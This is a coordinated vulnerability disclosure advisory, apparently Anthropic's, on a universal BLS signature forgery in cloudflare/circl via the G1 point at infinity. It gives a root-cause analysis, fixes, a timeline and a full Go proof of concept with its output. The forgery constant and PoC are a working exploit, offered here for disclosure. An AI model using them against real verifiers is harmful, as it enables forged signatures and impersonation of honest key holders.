ANT-2026-7R9KHDAS · cloudflare/circl
other critical
Severity Claude critical · Security research firm - · Maintainer -
Anthropic's analysis of this finding, sealed at approval.
ANT-2026-7R9KHDAS: CIRCL sign/bls: universal signature forgery in KeyG2SigG1 via G1-infinity point
In the KeyG2SigG1 configuration of github.com/cloudflare/circl/sign/bls, bls.Verify and bls.VerifyAggregate decode the attacker-supplied signature into a G1 point without rejecting the identity. That point is fed, alongside the honest H(m), into ProdPairFrac, whose batch-affinization helper (affinize) has no z=0 handling: one identity input zeroes the running z-product, Fp.Inv(0) silently returns 0, and every G1 input — including H(m) — is mapped to the off-curve point (0,0,1). The Miller loop on such points produces values confined to Fp2, and the final exponentiation sends any nonzero Fp2 element to 1, so the pairing-product check passes. The attacker therefore needs only the constant 0xC0 || 0x00×47 to forge single or aggregate signatures over arbitrary messages and honest keys.
Target
Project: cloudflare/circl
Location: sign/bls/bls.go:301-306, 363-432; root cause in ecc/bls12381/g1.go:401-425 (affinize)
Technical Details
Verify validates the public key but never checks that the decoded signature point is non-identity; affinize (g1.go:401-425) then batch-inverts z-coordinates with no zero guard, and ff.Fp.Inv computes x^(p-2) so Inv(0)=0, collapsing all affinized outputs to (0,0,1). With every G1 input degenerate, the Miller-loop line values lose their w-terms, the accumulator stays in Fp2, and EasyExponentiation's (p^6-1)(p^2+1) exponent annihilates any nonzero Fp2 element to the GT identity, making res.IsIdentity() true.
Reproduction
- Construct sig = 0xC0 followed by 47 zero bytes (compressed G1 point-at-infinity).
- Submit sig alongside any chosen message to a verifier using bls.Verify[bls.KeyG2SigG1] with the victim's genuine public key.
- Verifier decodes sig to the G1 identity, affinize zeroes all G1 inputs, pairing product evaluates to GT identity, Verify returns true.
- For aggregates, submit the same 48-byte constant as aggSig with any list of (pk_i, m_i); VerifyAggregate returns true.
[No reproducer or sanitizer output attached — request from security-cvd@anthropic.com if needed.]
Suggested Fix
In sign/bls/bls.go, after SetBytes on the signature in both Verify and VerifyAggregate, reject the point if it is the identity (mirroring pub.Validate()). Additionally harden ecc/bls12381/g1.go affinize to skip z=0 entries (emitting the canonical identity) or fall back to per-point toAffine when the batch z-product is zero, so other ProdPair/ProdPairFrac callers are protected.
Acknowledgement
This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by the Anthropic security team in collaboration with Anthropic Research. Please direct questions to security-cvd@anthropic.com and reference ANT-2026-7R9KHDAS.
Reference: ANT-2026-7R9KHDAS
Anthropic CVD Policy: https://www.anthropic.com/coordinated-vulnerability-disclosure
https://github.com/cloudflare/circl/commit/846a67b9095e
Dates from discovery through public reveal.
- 2026-04-16 Sent to maintainer
- 2026-04-16 Maintainer acknowledged
- 2026-05-14 Reported to tracker
- 2026-06-21 Patch released
- 2026-08-17 Publicly revealed
SHA-3-512 hash:
282cfbc9caab6f79c656e76ccfa057aeaa9ae3700b6b3e68cb4379c150fe3d21e4b8105e595652f45e1f6e57f6ff857099b7de0bec1b4359228f8fcb004910ea
Committed 2026-04-17 11:44 PT
Revealed 2026-08-17 17:36 PT
Verify (download preimage.json)
Show preimage JSON
{
"ant_id": "ANT-2026-7R9KHDAS",
"bug_class": "Signature Verification Bypass / Universal Forgery",
"claude_severity": "critical",
"commit_sha": null,
"created_at": "2026-05-14T22:42:26+00:00",
"description": "In the KeyG2SigG1 configuration of github.com/cloudflare/circl/sign/bls, bls.Verify and bls.VerifyAggregate decode the attacker-supplied signature into a G1 point without rejecting the identity. That point is fed, alongside the honest H(m), into ProdPairFrac, whose batch-affinization helper (affinize) has no z=0 handling: one identity input zeroes the running z-product, Fp.Inv(0) silently returns 0, and every G1 input — including H(m) — is mapped to the off-curve point (0,0,1). The Miller loop on such points produces values confined to Fp2, and the final exponentiation sends any nonzero Fp2 element to 1, so the pairing-product check passes. The attacker therefore needs only the constant 0xC0 || 0x00×47 to forge single or aggregate signatures over arbitrary messages and honest keys.",
"discovered_at": "2026-04-17T18:44:09+00:00",
"location": "sign/bls/bls.go:301-306, 363-432; root cause in ecc/bls12381/g1.go:401-425 (affinize)",
"poc_sha256": null,
"preimage_version": 1,
"project": "cloudflare/circl",
"reproduction": [
"1. Construct sig = 0xC0 followed by 47 zero bytes (compressed G1 point-at-infinity).",
"2. Submit sig alongside any chosen message to a verifier using bls.Verify[bls.KeyG2SigG1] with the victim's genuine public key.",
"3. Verifier decodes sig to the G1 identity, affinize zeroes all G1 inputs, pairing product evaluates to GT identity, Verify returns true.",
"4. For aggregates, submit the same 48-byte constant as aggSig with any list of (pk_i, m_i); VerifyAggregate returns true."
],
"technical_details": "Hi --\n\nI've found a universal-forgery bug in CIRCL's BLS signature verifier.\n\nA fixed 48-byte string (0xC0 followed by 47 zero bytes) is accepted by\n\nbls.Verify and bls.VerifyAggregate as a valid signature on any\n\nmessage, under any honestly-generated public key. This affects one of\n\nthe two configurations the package exports (short signatures); the\n\nother is not affected by this mechanism. The attached Go program\n\ngenerates two fresh keypairs and shows the constant accepted under\n\nboth, and as an aggregate.\n\n(Up-front disclosure: an LLM found this bug. I validated the bug myself,\n\nand have confirmed the PoC works to the best of my understanding.\n\nI stand by this report myself personally and vouch for its correctness.)\n\nSeparately, this is one of five CIRCL findings from the same scan I\n\nran. The others are less severe. I could either send them over all to\n\nyou right away without manual validation, or if you'd prefer we can\n\nhave them validated first but this will take a bit more time. If you\n\ncan let me know what you'd prefer I'll go with whatever is better for\n\nyou.\n\nNo onto the bug. But first a caveat: while I do have a degree in math,\n\nand understand the below to a certain extent, I can't be confident in\n\nthe explanation that follows. I am very sure the bug is real and is as\n\nbad as I think it is---because the verification program is about as\n\neasy as possible to interpret---but the technical details are somewhat\n\nbeyond me. I'm providing them in the hope they will help you\n\nunderstand what is going on.\n\nBLS signatures on the BLS12-381 curve come in two symmetric\n\nconfigurations, depending on which of the curve's two point groups (G1\n\nor G2) holds the signature and which holds the public key. CIRCL\n\nexports both: KeyG1SigG2 puts signatures in G2 (96 bytes) and keys in\n\nG1 (48 bytes), and KeyG2SigG1 does the reverse, with 48-byte signatures\n\nand 96-byte keys. The latter is the \"minimal-signature-size\" variant, and\n\nthe 48-byte string above (0xC0 0x00 0x00 ... 0x00) is the standard\n\ncompressed encoding of G1's point at infinity.\n\nA bilinear pairing e(P, Q) takes one point from G1 and one from G2 and\n\nreturns an element of a third group, GT. To sign, the holder of a\n\nsecret scalar x computes sigma = x * H(m), where H hashes the message\n\nto a curve point. The public key is pk = x * g, with g the fixed\n\ngenerator of the other group. Verification checks\n\n e(H(m), pk) == e(sigma, g)\n\nwhich holds for an honest signature because both sides equal\n\ne(H(m), g)^x by bilinearity. Rather than compute two pairings and\n\ncompare them, it's standard to compute one divided by the other and\n\ncheck that the result is the identity element of GT. That way the\n\nexpensive \"final exponentiation\" step at the end of a pairing only has\n\nto run once on the product instead of once per pairing.\n\nCIRCL's Verify (sign/bls/bls.go) does exactly that. It builds a\n\ntwo-element list of G1 points and a parallel two-element list of G2\n\npoints, and hands them to ecc/bls12381.ProdPairFrac, a helper that\n\ntakes lists P[], Q[], and a list of +/-1 signs, and returns\n\n prod_i e(P[i], Q[i]) ^ sign[i]\n\nwith a single final-exponentiation over the whole product.\n\nFor KeyG2SigG1 the signature and the hashed message are both G1 points,\n\nand the public key and generator are both G2 points. So Verify sets up\n\n(bls.go:301-306):\n\n G1 list: [ H(m), sigma ] --- sigma is the attacker's bytes\n\n G2 list: [ pk, g2 ]\n\n signs: [ +1, -1 ]\n\nand returns true iff ProdPairFrac of those is the GT identity, i.e.\n\ne(H(m), pk) * e(sigma, g2)^-1 == 1.\n\nThe signature bytes are decoded into the sigma slot by G1.SetBytes\n\n(ecc/bls12381/g1.go), which explicitly recognises the\n\ncompressed-infinity encoding:\n\n isInfinity := int((b[0] >> 6) & 0x1)\n\n if isInfinity == 1 {\n\n ...\n\n g.SetIdentity()\n\n return nil\n\n }\n\nAfter decoding the signature, Verify calls pub.Validate(), the\n\nmethod on the caller-supplied PublicKey that checks the public key is\n\nnot the identity and is in the right subgroup (bls.go:158-168). That\n\nguards the *key*. Nothing analogous is done for the deserialised\n\n*signature* point. So the G1 list passed to ProdPairFrac is [H(m), O],\n\nwhere H(m) is honest and O is the identity (x=0, y=1, z=0 in projective\n\ncoordinates).\n\nThis fact on its own is not a forgery. Mathematically, e(O, g2) = 1, so\n\nthe pairing product should be e(H(m), pk) * 1, which is not the\n\nidentity for an honest key. The bug is in how ProdPairFrac prepares its\n\ninputs.\n\nCurve points are carried around in projective coordinates (x, y, z),\n\nwhich represent the affine point (x/z, y/z); the Miller loop inside the\n\npairing wants them in affine form (z = 1). Converting one point means\n\ncomputing 1/z, and field inversion is expensive (hundreds of\n\nmultiplications) so the first thing ProdPairFrac does\n\n(ecc/bls12381/pair.go:119) is convert the whole G1 list at once:\n\n affineP := affinize(P)\n\naffinize (g1.go:401-425) uses a standard batch-inversion trick\n\n(Montgomery's trick): multiply all the z-coordinates together, invert\n\nthe product once, then peel it apart with a few multiplications per\n\npoint so that each point gets divided by its own z. N points costs\n\n1 inversion + ~3N multiplications instead of N inversions. But the\n\nroutine has no special case for z == 0:\n\n ws[0].SetOne()\n\n for i := 0; i < len(points); i++ {\n\n ws[i+1].Mul(&ws[i], &points[i].z) // running product of z's\n\n }\n\n w := &ff.Fp{}\n\n w.Inv(&ws[len(points)]) // invert the product\n\n ...\n\n for i := len(points) - 1; i >= 0; i-- {\n\n zinv.Mul(w, &ws[i])\n\n w.Mul(w, &points[i].z)\n\n out[i].x.Mul(&points[i].x, zinv) // x * zinv\n\n out[i].y.Mul(&points[i].y, zinv) // y * zinv\n\n out[i].z.SetOne() // z = 1\n\n }\n\nIf any input has z = 0, then the running product is zero. Because\n\nFp.Inv (ff/fp.go:131) is implemented as a fixed sequence of squarings\n\nand multiplications that computes x^(p-2), on input zero every\n\nintermediate value is zero, and Inv(0) silently returns 0 rather than\n\nerroring. w is therefore 0, zinv is 0 for every iteration, and *every*\n\noutput point (including the honest H(m)) comes out as (0, 0, 1).\n\nThat point is not the identity (it's not even on the curve), but the\n\nMiller loop (pair.go) does not check this either. Computing a pairing\n\nhas two stages: a \"Miller loop\" that walks the bits of a fixed scalar\n\nand, at each step, squares an accumulator in GT and multiplies in a\n\n\"line value\" that depends on the two input points; and then a \"final\n\nexponentiation\" that raises the Miller result to a fixed huge exponent\n\nto land it in the right subgroup of GT. GT here lives inside Fp12 ---\n\nthe degree-12 extension of Fp, which you can think of as twelve Fp\n\ncoordinates arranged as six coefficients from Fp2 on powers of a formal\n\nvariable w (1, w, w^2, w^3, w^4, w^5). Fp2 is the \"constant term\"\n\nsubfield --- the Fp12 elements where all the w-coefficients are zero.\n\nCIRCL's line-evaluation (pair.go:48-67) stores the result as\n\na[0] + a[1]*w^2 + a[2]*w^3, where each a[i] is an Fp2 value, and\n\na[1], a[2] are computed by multiplying something by P.x and P.y\n\nrespectively. With P.x = P.y = 0, those two terms are zero, and only\n\na[0] in Fp2 survives. The Miller accumulator starts at 1 (an Fp2\n\nelement), and multiplying or squaring Fp2 elements stays in Fp2 --- no\n\nw-terms appear out of nowhere. So after both Miller loops, the\n\naccumulated product sits entirely in Fp2.\n\nThe final exponentiation then maps any nonzero Fp2 element to 1. A\n\npairing's final exponentiation raises to (p^12 - 1)/r, and\n\nimplementations conventionally split that exponent into an \"easy\" half,\n\n(p^6 - 1)(p^2 + 1), which is cheap because raising to p is the\n\nFrobenius map (a coefficient shuffle), and a \"hard\" half that costs\n\nreal work. CIRCL's finalExp (pair.go:69-73) calls\n\nEasyExponentiation (ff/cyclo6.go:67-82) then HardExponentiation. The\n\neasy part raises to (p^6 - 1)(p^2 + 1). The nonzero elements of Fp2\n\nform a group of size p^2 - 1, and p^2 - 1 divides p^6 - 1; so any\n\nnonzero Fp2 element raised to p^6 - 1 is already 1, and the rest of the\n\nexponentiation keeps it at 1. res.IsIdentity() at bls.go:321 returns\n\ntrue. Verify returns true.\n\nbls.VerifyAggregate (sign/bls/bls.go:363-432) is the API for checking\n\none \"aggregate\" signature over n (public-key, message) pairs --- the\n\nproperty that makes BLS attractive: n signatures can be added together\n\nand verified with one call. It builds the same kind of parallel lists,\n\nlength n+1 this time, and calls the same ProdPairFrac. For KeyG2SigG1,\n\nlistG1 holds [H(m_1), ..., H(m_n), aggSig] (bls.go:411-424), where\n\naggSig is again decoded with SetBytes and not identity-checked. One\n\nz = 0 entry in that list zeros the whole batch-inversion, so the same\n\nconstant 0xC0 00...00 passes as a valid aggregate over any set of keys\n\nand messages.\n\nThe KeyG1SigG2 variant is not affected by this mechanism. There the G1\n\nlist is [pk, g1], but the public key has already been validated to be\n\na non-identity at bls.go, so the batch product is never zero. The\n\nattacker-controlled signature is a G2 point and reaches miller\n\ndirectly, where an identity G2 input is handled correctly.\n\nThe narrowest fix is in sign/bls/bls.go, right after decoding the\n\nsignature: reject if the decoded G1 or G2 point is the identity,\n\nmirroring what pub.Validate() already does for keys. I've attached a\n\npatch that does this in both Verify and VerifyAggregate.\n\nThe deeper fix is in ecc/bls12381/g1.go affinize: either skip z = 0\n\nentries in the running product and emit the canonical identity for\n\nthem, or fall back to per-point toAffine() when the batch product is\n\nzero. Without this, any other caller of ProdPairFrac or ProdPair that\n\nmixes an attacker-supplied G1 point with honest ones has the same\n\nproblem. I've attached a second patch for affinize as well.\n\nI've tested both against circl at 9798df7 on go1.22, and verified\n\nthey prevent the PoC from succeeding. But honestly this is just Claude\n\ntelling me what to do, I don't really understand what I should be doing.\n\nThanks, and please let me know if you'd like to discuss anything,\n\nNicholas\n\nBelow are steps to reproduce this on a stock Linux box with Go >= 1.21:\n\n git clone https://github.com/cloudflare/circl.git\n\n cd circl\n\n mkdir -p /tmp/blspoc && cd /tmp/blspoc\n\n cat > main.go <<'EOF'\n\n package main\n\n import (\n\n \"crypto/rand\"\n\n \"fmt\"\n\n \"github.com/cloudflare/circl/sign/bls\"\n\n )\n\n func main() {\n\n infSig := make([]byte, 48)\n\n infSig[0] = 0xC0\n\n ikm1 := make([]byte, 32); rand.Read(ikm1)\n\n ikm2 := make([]byte, 32); rand.Read(ikm2)\n\n sk1, _ := bls.KeyGen[bls.KeyG2SigG1](ikm1, nil, nil)\n\n sk2, _ := bls.KeyGen[bls.KeyG2SigG1](ikm2, nil, nil)\n\n pk1, pk2 := sk1.PublicKey(), sk2.PublicKey()\n\n m1, m2 := []byte(\"msg one\"), []byte(\"msg two\")\n\n real := bls.Sign(sk1, m1)\n\n fmt.Println(\"[NORMAL ] Verify(pk1, m1, real) =\",\n\nbls.Verify(pk1, m1, real))\n\n fmt.Println(\"[NORMAL ] Verify(pk1, m2, real) =\",\n\nbls.Verify(pk1, m2, real))\n\n fmt.Println(\"[EXPLOIT] Verify(pk1, m1, O_G1) =\",\n\nbls.Verify(pk1, m1, infSig))\n\n fmt.Println(\"[EXPLOIT] Verify(pk1, m2, O_G1) =\",\n\nbls.Verify(pk1, m2, infSig))\n\n fmt.Println(\"[EXPLOIT] Verify(pk2, m1, O_G1) =\",\n\nbls.Verify(pk2, m1, infSig))\n\n fmt.Println(\"[EXPLOIT] VerifyAggregate(..) =\",\n\n bls.VerifyAggregate([]*bls.PublicKey[bls.KeyG2SigG1]{pk1, pk2},\n\n [][]byte{m1, m2}, infSig))\n\n // control: KeyG1SigG2 is NOT affected\n\n skA, _ := bls.KeyGen[bls.KeyG1SigG2](ikm1, nil, nil)\n\n pkA := skA.PublicKey()\n\n infG2 := make([]byte, 96); infG2[0] = 0xC0\n\n fmt.Println(\"[CONTROL] KeyG1SigG2 w/ O_G2 =\",\n\nbls.Verify(pkA, m1, infG2))\n\n }\n\n EOF\n\n go mod init blspoc\n\n go mod edit -replace github.com/cloudflare/circl=$HOME/circl\n\n go mod tidy && go run .\n\n # [NORMAL ] Verify(pk1, m1, real) = true\n\n # [NORMAL ] Verify(pk1, m2, real) = false\n\n # [EXPLOIT] Verify(pk1, m1, O_G1) = true\n\n # [EXPLOIT] Verify(pk1, m2, O_G1) = true\n\n # [EXPLOIT] Verify(pk2, m1, O_G1) = true\n\n # [EXPLOIT] VerifyAggregate(..) = true\n\n # [CONTROL] KeyG1SigG2 w/ O_G2 = false",
"title": "CIRCL sign/bls: universal signature forgery in KeyG2SigG1 via G1-infinity point",
"vendor_severity": null
}